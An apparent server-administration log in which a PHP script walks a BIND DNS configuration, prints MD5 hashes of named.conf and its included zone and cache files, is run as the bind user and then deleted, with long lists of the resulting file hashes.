MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 5e377f3629d6fe361d57f6ca437ac6a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 19:59:02: Establishing a connection
2026-04-25 19:59:03: 

PUT: /tmp/pkp976978

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 19:59:03: 

runuser -l bind -s /bin/bash -c '/tmp/pkp976978; rm /tmp/pkp976978'

2026-04-25 19:59:03: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 5e377f3629d6fe361d57f6ca437ac6a3
